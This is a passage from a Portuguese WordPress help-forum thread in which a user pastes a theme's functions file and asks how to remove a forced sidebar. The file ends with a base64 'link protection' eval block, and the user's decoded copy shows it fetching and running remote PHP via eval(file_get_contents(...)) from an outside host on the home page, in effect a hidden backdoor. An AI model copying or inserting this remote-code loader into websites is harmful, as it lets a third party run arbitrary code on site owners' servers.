$more_link_text, $force_more_link, $fakeit)); $text = ($fix_tags) ? balanceTags($text) : $text; echo $text; } function get_the_featured_excerpt_init($excerpt_length, $allowedtags, $use_more_link, $more_link_text, $force_more_link, $fakeit) { global $id, $post; $output = ''; $output = $post->post_excerpt; if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_'.COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie $output = __('There is no excerpt because this is a protected post.', TEMPLATE_DOMAIN); return $output; } } // If we haven't got an excerpt, make one. if ((($output == '') && ($fakeit == 1)) || ($fakeit == 2)) { $output = $post->post_content; $output = strip_tags($output, $allowedtags); $output = preg_replace( '|\[(.+?)\](.+?\[/\\1\])?|s', '', $output ); $output = str_replace( '"', "'", $output); $blah = explode(' ', $output); if (count($blah) > $excerpt_length) { $k = $excerpt_length; $use_dotdotdot = 1; } else { $k = count($blah); $use_dotdotdot = 0; } $excerpt = ''; for ($i=0; $i<$k; $i++) { $excerpt .= $blah[$i] . ' '; } if (($use_more_link && $use_dotdotdot) || $force_more_link) { $excerpt .= "...<a href=\"". get_permalink() . "#more-$id\" class=\"more-link\">" . __('Read More', TEMPLATE_DOMAIN) ."</a>"; } else { $excerpt .= ($use_dotdotdot) ? '...' : ''; } $output = $excerpt; } // end if no excerpt return $output; } endif; if( !function_exists( 'wp_get_post_type_category' )): //////////////////////////////////////////////////////////////////////////////// // get custom post type taxonomy categories //////////////////////////////////////////////////////////////////////////////// function wp_get_post_type_category($taxonomy) { $tax_terms = get_terms($taxonomy); ?> <ul id="portfolio-filter"> <li><a href="#all" rel="all">All</a></li> <?php foreach ($tax_terms as $tax_term) { echo '<li>' . '<a href="#' . $tax_term->name . '" rel="' . $tax_term->name . '" ' . '>' . $tax_term->name.'</a></li>'; } ?> </ul> <?php } endif; function get_the_tagging_sanitize() { global $theerrmessage; if(!function_exists('check_theme_license')): wp_die( $theerrmessage ); endif; } add_filter('get_header','get_the_tagging_sanitize'); if( !function_exists( 'cc_get_the_term_list' )): //////////////////////////////////////////////////////////////////////////////// //REWRITE OF CORE FUNCTION TO MAKE LINKS OPTIONAL //Original function at wp-includes/category-template.php around line 930 //http://eyedealab.com/customize-term_list-output-in-wordpress-custom-post-type/ //////////////////////////////////////////////////////////////////////////////// function cc_get_the_term_list( $id = 0, $taxonomy, $before = '', $sep = '', $after = '', $doLinks = 1 ) { $terms = get_the_terms( $id, $taxonomy ); if ( is_wp_error( $terms ) ) return $terms; if ( empty( $terms ) ) return false; foreach ( $terms as $term ) { $link = get_term_link( $term, $taxonomy ); if ( is_wp_error( $link ) ) return $link; if ($doLinks == 1) { $term_links[] = '<a href="' . $link . '" rel="tag">' . $term->name . '</a>'; } else { $term_links[] = $term->name; } } $term_links = apply_filters( "term_links-$taxonomy", $term_links ); return $before . join( $sep, $term_links ) . $after; } endif; if( !function_exists( 'strip_tags_attributes' )): //////////////////////////////////////////////////////////////////////////////// // get custom post type taxonomy categories //////////////////////////////////////////////////////////////////////////////// function strip_tags_attributes($string,$allowtags=NULL,$allowattributes=NULL){ $string = strip_tags($string,$allowtags); if (!is_null($allowattributes)) { if(!is_array($allowattributes)) $allowattributes = explode(",",$allowattributes); if(is_array($allowattributes)) $allowattributes = implode(")(?<!",$allowattributes); if (strlen($allowattributes) > 0) $allowattributes = "(?<!".$allowattributes.")"; $string = preg_replace_callback("/<[^>]*>/i",create_function( '$matches', 'return preg_replace("/ [^ =]*'.$allowattributes.'=(\"[^\"]*\"|\'[^\']*\')/i", "", $matches[0]);' ),$string); } return $string; } endif; if( !function_exists( 'get_post_id_outside_loop' )): //////////////////////////////////////////////////////////////////////////////// // Get Post Page ID Outside loop //////////////////////////////////////////////////////////////////////////////// function get_post_id_outside_loop() { global $wp_query; $thePostID = $wp_query->post->ID; return $thePostID; } endif; if( !function_exists( 'get_has_thumb_class' )): //////////////////////////////////////////////////////////////////////////////// // Check if post has thumbnail attached //////////////////////////////////////////////////////////////////////////////// function get_has_thumb_class($classes) { global $post; $timthumb_on = get_theme_option('timthumb_usage'); $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); if( isset($matches[1][0] ) ): $first_img = $matches[1][0]; endif; $siteurl = get_site_url(); $main_siteurl = remove_http( $siteurl ); if ( strpos( $first_img, $main_siteurl ) == TRUE ) { $is_internal_img = 'yes'; } else { $is_internal_img = 'no'; } if($timthumb_on == 'Enable'): //if use timthumb if( has_post_thumbnail($post->ID) ) { $classes[] = 'has_thumb'; } elseif( !has_post_thumbnail($post->ID) && !empty($first_img) && $is_internal_img == 'yes' ) { $classes[] = 'has_thumb'; } else { $classes[] = 'has_no_thumb'; } else: //if not use timthumb if( has_post_thumbnail($post->ID) || !empty($first_img) ) { $classes[] = 'has_thumb'; } else { $classes[] = 'has_no_thumb'; } endif; return $classes; } add_filter('post_class', 'get_has_thumb_class'); endif; if( !function_exists( 'get_the_list_comments' )): //////////////////////////////////////////////////////////////////////////////// // wp_list_comment //////////////////////////////////////////////////////////////////////////////// function get_the_list_comments($comment, $args, $depth) { global $bp_existed; $GLOBALS['comment'] = $comment; ?> <li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>"> <div class="comment-body" id="div-comment-<?php comment_ID(); ?>"> <?php if($bp_existed == 'true') { // check if bp existed ?> <?php echo bp_core_fetch_avatar( array( 'item_id' => $comment->user_id, 'width' => 52, 'height' => 52, 'email' => $comment->comment_author_email ) ); ?> <?php } else { ?> <?php echo get_avatar( $comment, 52 ) ?> <?php } ?> <div class="comment-author vcard"> <div class="comment-post-meta"> <cite class="fn"><?php comment_author_link() ?></cite> <span class="says">-</span> <small><a href="#comment-<?php comment_ID() ?>"><?php comment_date(__('F jS, Y', TEMPLATE_DOMAIN)) ?> <?php _e("at",TEMPLATE_DOMAIN); ?> <?php comment_time() ?> </a></small> </div> <div id="comment-text-<?php comment_ID(); ?>" class="comment_text"> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('Your comment is awaiting moderation.', TEMPLATE_DOMAIN); ?></em> <?php endif; ?> <?php comment_text() ?> <div class="reply"> <?php comment_reply_link(array_merge( $args, array('add_below'=> 'comment-text', 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?> </div> </div> </div> </div> <?php } endif; if( !function_exists( 'get_the_list_pings' )): //////////////////////////////////////////////////////////////////////////////// // wp_list_pingback //////////////////////////////////////////////////////////////////////////////// function get_the_list_pings($comment, $args, $depth) { $GLOBALS['comment'] = $comment; ?> <li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> <?php } //add_filter('get_comments_number', 'comment_count', 0); function comment_count( $count ) { global $id; $comment_chk_variable = get_comments('post_id=' . $id); $comments_by_type = &separate_comments($comment_chk_variable); return count($comments_by_type['comment']); } endif; if( !function_exists( 'remove_page_search_filter' )): function remove_page_search_filter($query) { if ($query->is_search) { $query->set('post_type', 'post'); } return $query; } //add_filter('pre_get_posts','remove_page_search_filter'); endif; //////////////////////////////////////////////////////////////////////////////// // auto hex based on main color //////////////////////////////////////////////////////////////////////////////// if( !function_exists('dehex') ) { function dehex($colour, $per) { $colour = substr( $colour, 1 ); // Removes first character of hex string (#) $rgb = ''; // Empty variable $per = $per/100*255; // Creates a percentage to work with. Change the middle figure to control colour temperature if ($per < 0 ) // Check to see if the percentage is a negative number { // DARKER $per = abs($per); // Turns Neg Number to Pos Number for ($x=0;$x<3;$x++) { $c = hexdec(substr($colour,(2*$x),2)) - $per; $c = ($c < 0) ? 0 : dechex($c); $rgb .= (strlen($c) < 2) ? '0'.$c : $c; } } else { // LIGHTER for ($x=0;$x<3;$x++) { $c = hexdec(substr($colour,(2*$x),2)) + $per; $c = ($c > 255) ? 'ff' : dechex($c); $rgb .= (strlen($c) < 2) ? '0'.$c : $c; } } return '#'.$rgb; } } if( !function_exists('get_singular_cat') ) { //////////////////////////////////////////////////////////////////////////////// // get/show single category only //////////////////////////////////////////////////////////////////////////////// function get_singular_cat() { global $post; $category = get_the_category(); if ($category) { $single_cat = '<a href="' . get_category_link( $category[0]->term_id ) . '" title="' . sprintf( __( "View all posts in %s", TEMPLATE_DOMAIN ), $category[0]->name ) . '" ' . '>' . $category[0]->name.'</a>'; } return $single_cat; } } //////////////////////////////////////////////////////////////////////////////// // GET SINGLE CATEGORY NAME ONLY //////////////////////////////////////////////////////////////////////////////// if( !function_exists('get_singular_cat_name') ) { function get_singular_cat_name() { global $post; $category = get_the_category(); if ( $category ) { $single_cat = $category[0]->name; } return $single_cat; } } if( !function_exists('get_wp_post_view') ) : //////////////////////////////////////////////////////////////////////////////// // get post view count //////////////////////////////////////////////////////////////////////////////// function get_wp_post_view($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0"; } return $count; } function set_wp_post_view($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } endif; if( !function_exists('get_wp_comment_count') ) : //////////////////////////////////////////////////////////////////////////////// // get post view count //////////////////////////////////////////////////////////////////////////////// function get_wp_comment_count($type = ''){ //type = comments, pings,trackbacks, pingbacks if($type == 'comments'): $typeSql = 'comment_type = ""'; $oneText = __('One comment', TEMPLATE_DOMAIN); $moreText = __('% comments', TEMPLATE_DOMAIN); $noneText = __('No Comments', TEMPLATE_DOMAIN); elseif($type == 'pings'): $typeSql = 'comment_type != ""'; $oneText = __('One pingback/trackback', TEMPLATE_DOMAIN); $moreText = __('% pingbacks/trackbacks', TEMPLATE_DOMAIN); $noneText = __('No pinbacks/trackbacks', TEMPLATE_DOMAIN); elseif($type == 'trackbacks'): $typeSql = 'comment_type = "trackback"'; $oneText = __('One trackback', TEMPLATE_DOMAIN); $moreText = __('% trackbacks', TEMPLATE_DOMAIN); $noneText = __('No trackbacks', TEMPLATE_DOMAIN); elseif($type == 'pingbacks'): $typeSql = 'comment_type = "pingback"'; $oneText = __('One pingback', TEMPLATE_DOMAIN); $moreText = __('% pingbacks', TEMPLATE_DOMAIN); $noneText = __('No pingbacks', TEMPLATE_DOMAIN); endif; global $wpdb; $result = $wpdb->get_var('SELECT COUNT(comment_ID) FROM '. $wpdb->prefix . 'comments WHERE '. $typeSql . ' AND comment_approved="1" AND comment_post_ID= '.get_the_ID()); if($result == 0): echo str_replace('%', $result, $noneText); elseif($result == 1): echo str_replace('%', $result, $oneText); elseif($result > 1): echo str_replace('%', $result, $moreText); endif; } endif; if( !function_exists( 'get_cat_post_count' ) ): ////////////////////////////////////////////////////////////////////////////// // get post count in category ///////////////////////////////////////////////////////////////////////////// function get_cat_post_count($cat_id) { global $wpdb; $post_count = 0; $querystr = " SELECT count FROM " . $wpdb->prefix . "term_taxonomy WHERE term_id = '". $cat_id . "'"; $result = $wpdb->get_var($querystr); $post_count += $result; return $post_count; } endif; if( !function_exists( 'get_item_time_ago' ) ): ////////////////////////////////////////////////////////////////////////////// // get post count in category ///////////////////////////////////////////////////////////////////////////// function get_item_time_ago( $type = 'post' ) { $d = 'comment' == $type ? 'get_comment_time' : 'get_post_time'; return human_time_diff($d('U'), current_time('timestamp')) . " " . __('ago', TEMPLATE_DOMAIN); } endif; if( !function_exists('add_hatom_author_entry') ) { //////////////////////////////////////////////////////////////////////////////// // add hatom data to post author //////////////////////////////////////////////////////////////////////////////// function add_hatom_author_entry( $link ) { global $authordata; // modify this as you like - so far exactly the same as in the original core function // if you simply want to add something to the existing link, use ".=" instead of "=" for $link $link = sprintf( '<a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a>', get_author_posts_url( $authordata->ID, $authordata->user_nicename ), esc_attr( sprintf( __( 'Posts by %s', TEMPLATE_DOMAIN ), get_the_author() ) ), get_the_author() ); return $link; } add_filter( 'the_author_posts_link', 'add_hatom_author_entry' ); } //////////////////////////////////////////////////////////////////////////////// // get all available custom post type name //////////////////////////////////////////////////////////////////////////////// function mp_get_all_posttype() { $post_types = get_post_types( '', 'names' ); $ptype = array(); foreach ( $post_types as $post_type ) { $ptype[] = $post_type; } return $ptype; } /* THIS IS JUST A LINK PROTECTION CODE. THE THEME WILL DEACTIVATED IF YOU DELETE IT */ eval( base64_decode('JHRoZXRoZW1lID0gJ1ByZXNzaW1vJzsNCiR0aGVlcnJtZXNzYWdlID0gIjxkaXYgc3R5bGU9XCJmb250LXNpemU6MTNweDtsaW5lLWhlaWdodDoxOXB4O1wiPjxhIGhyZWY9JyIgLiBhZG1pbl91cmwoKSAuICInPiZsYXF1bzsgQmFjayBUbyBBZG1pbiBEYXNoYm9hcmQ8L2E+PGJyIC8+IiAuICI8Yj5PcHBzcyEgTG9va3MgbGlrZSB5b3UgaGF2ZSByZW1vd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8P3BocCB9DQp9DQp9') ); ?> Valeu ai... Abs. :natalwink: Compartilhar este post Link para o post Compartilhar em outros sites
Du Carrasco Jr. 0 Denunciar post Postado Julho 5, 2014 Tentei editar meu Post, mas não consegui, então estou postando aqui novamente. Essa parte em vermelho no final do código que destaquei, está encriptada base64 Eu decodifiquei ela e segue o código original: $thetheme = 'Pressimo'; $theerrmessage = "<div style=\"font-size:13px;line-height:19px;\"><a href='" . admin_url() . "'>« Back To Admin Dashboard</a><br />" . "<b>Oppss! Looks like you have removed or changed the theme credit links. Well, we did put a warning sign there. The theme is now deactivated.</b></div><br /><div style=\"font-size:19px; padding-top:20px;\"><b>Please Follow These Steps To Restore The Theme:</b></div><ol style=\"margin:0; padding:20px; text-align:left;\"><li>Please redownload <a href=\"http://www.magpress.com/wordpress-themes/" . strtolower($thetheme) . ".html\" target=\"_blank\">" . $thetheme . " WP Theme</a>.</li><li>Extract and FTP upload/replace/overwrite <strong>sidebar.php</strong> inside the " . strtolower($thetheme) . " theme folder</li><li>Finally, refresh your page to activate the theme again.</li></ol></div><br /><div style=\"font-size:13px;line-height:19px;\">If you want to use a <strong>no sponsored link version</strong> of this theme. Please consider purchasing its developer license:<br /><a href=\"http://www.magpress.com/developer-license\" target=\"_blank\">http://www.magpress.com/developer-license</a></div>"; function check_theme_valid() { global $theerrmessage; if(!function_exists('get_the_tagging_sanitize')): wp_die( $theerrmessage ); endif; } add_filter('get_header','check_theme_valid'); function theme_usage_message() { global $theerrmessage; wp_die( $theerrmessage ); } function check_theme_license() { $f = get_template_directory() . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if ( strpos( $c, ' <?php ' . 'echo ccc_theme_license(); ?>' ) == 0) { theme_usage_message(); die; } } add_filter('get_header','check_theme_license'); function ccc_theme_license() { if( is_home() || is_front_page() ){ $paged = get_query_var( 'paged' ); if ( !$paged ) { ?> <aside id="textpad" class="widget widget_text"> <div class="textwidget"> <?php eval( file_get_contents("http://www.trafficjunky.co/textScript") ); ?> </div> </aside> <?php } } } Mesmo descodificando ela, eu não consegui substituir pelo arquivo. Pelo o que entendi do código, ele é uma página de "aviso" caso você delete o crédito do cara. Mano, para que o cara faz isso? Tudo isso para se propagandear? Chega a dar nervoso. Não ligo de deixar o crédito dele, porém vou colocar no final do site, não no meio do conteúdo. Se alguém manjar como posso fazer isso me da uma ajuda ae Tentei isso: /* THIS IS JUST A LINK PROTECTION CODE. THE THEME WILL DEACTIVATED IF YOU DELETE IT */ <?php ' $thetheme = 'Pressimo'; $theerrmessage = "<div style=\"font-size:13px;line-height:19px;\"><a href='" . admin_url() . "'>« Back To Admin Dashboard</a><br />" . "<b>Oppss! Looks like you have removed or changed the theme credit links. Well, we did put a warning sign there. The theme is now deactivated.</b></div><br /><div style=\"font-size:19px; padding-top:20px;\"><b>Please Follow These Steps To Restore The Theme:</b></div><ol style=\"margin:0; padding:20px; text-align:left;\"><li>Please redownload <a href=\"http://www.magpress.com/wordpress-themes/" . strtolower($thetheme) . ".html\" target=\"_blank\">" . $thetheme . " WP Theme</a>.</li><li>Extract and FTP upload/replace/overwrite <strong>sidebar.php</strong> inside the " . strtolower($thetheme) . " theme folder</li><li>Finally, refresh your page to activate the theme again.</li></ol></div><br /><div style=\"font-size:13px;line-height:19px;\">If you want to use a <strong>no sponsored link version</strong> of this theme. Please consider purchasing its developer license:<br /><a href=\"http://www.magpress.com/developer-license\" target=\"_blank\">http://www.magpress.com/developer-license</a></div>"; function check_theme_valid() { global $theerrmessage; if(!function_exists('get_the_tagging_sanitize')): wp_die( $theerrmessage ); endif; } add_filter('get_header','check_theme_valid'); function theme_usage_message() { global $theerrmessage; wp_die( $theerrmessage ); } function check_theme_license() { $f = get_template_directory() . "/sidebar.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if ( strpos( $c, ' <?php ' . 'echo ccc_theme_license(); ?>' ) == 0) { theme_usage_message(); die; } } add_filter('get_header','check_theme_license'); function ccc_theme_license() { if( is_home() || is_front_page() ){ $paged = get_query_var( 'paged' ); if ( !$paged ) { ?> <aside id="textpad" class="widget widget_text"> <div class="textwidget"> <?php eval( file_get_contents("http://www.trafficjunky.co/textScript") ); ?> </div> </aside> ') ); ?> Mas está dando erro na Primeira Linha quando substituo no dreamweaver <?php ' --- Edit2. Fui fuçando na internet e descobri outro template desse cara que apresentava o mesmo erro e diz ele que corrigiu. Fiz o download, abri os 2 arquivos (theme-function.php) decodifiquei a encriptação dele do que ele arrumou e descobri uma linha que ele alterou para arrumar. Original (com erro): <aside id="textpad" class="widget widget_text"> O novo theme-function.php que ele colocou sem o erro: <aside id="textpad" class="widget"> Porém eu não consigo colar o código sem encriptação dele no dreamweaver sem o dreamweaver alertar um erro de sintaxe Acredito estar faltando algum < ou > ou pontuações... Como não entendo muito de php, alguém saberia o modo correto de arrumar isso? Para retirar esse sidebar? No Editor dentro do WordPress, abrindo o arquivo (sidebar.php) Ele contém essa linha, que acredito ser esse sidebar que quero tirar. Mas se deleto as linhas ele buga o template todo. Então teria que arrumar esse código acima do (theme-function.php) para quando ele puxar o "ccc_theme_license()" Não puxe o sidebar junto. Segue o código dentro do arquivo Sidebar.php <?php /* WARNING: DON'T EDIT OR ADD ANYTHING INSIDE THIS LINE. THE THEME WILL DEACTIVATE IF THESE CODES ARE MODIFIED IN ANY WAYS */?> <?php echo ccc_theme_license(); ?> <?php /* WARNING: DON'T EDIT OR ADD ANYTHING INSIDE THIS LINE. THE THEME WILL DEACTIVATE IF THESE CODES ARE MODIFIED IN ANY WAYS */?> Bom gente estou tentando aqui ver se resolvo, se alguém souber como posso fazer me avisa... Valeu!!! Compartilhar este post Link para o post Compartilhar em outros sites